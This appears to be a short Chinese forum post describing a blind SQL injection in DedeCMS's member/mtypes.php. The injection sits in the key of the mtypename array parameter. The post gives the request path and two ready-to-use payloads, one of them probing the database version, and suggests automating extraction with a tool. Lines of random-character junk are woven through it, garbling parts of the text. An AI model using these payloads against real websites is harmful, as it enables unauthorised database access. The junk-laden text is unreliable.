需要magic_quotes_gpc = Off,所以说是鸡肋啊.
& V. Y, e5 {+ `6 x2 | x+ ]: D9 j4 d4 Z- a; u8 ^
- A# k( I1 j" o$ w' b. W, A发生在数组key里的注射漏洞,有点意思.# i8 P5 Y1 y& F4 s8 m
. r: a7 | ]5 M9 I这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下 G. d& q: \4 y' L
' I1 s# V1 u3 Q' }6 ]+ V
http://www.xxx.com /dede/member/mtypes.php?dopost=save; _1 s' K) R& n. Z2 \4 Y6 o
4 j2 e0 H3 Q S- i3 W& V
exploit:- z( A o: O' @# W: i1 R5 D' Q
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
& ]* c' M2 G% t( Fmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
% h: P! I4 @, v- q9 V# { |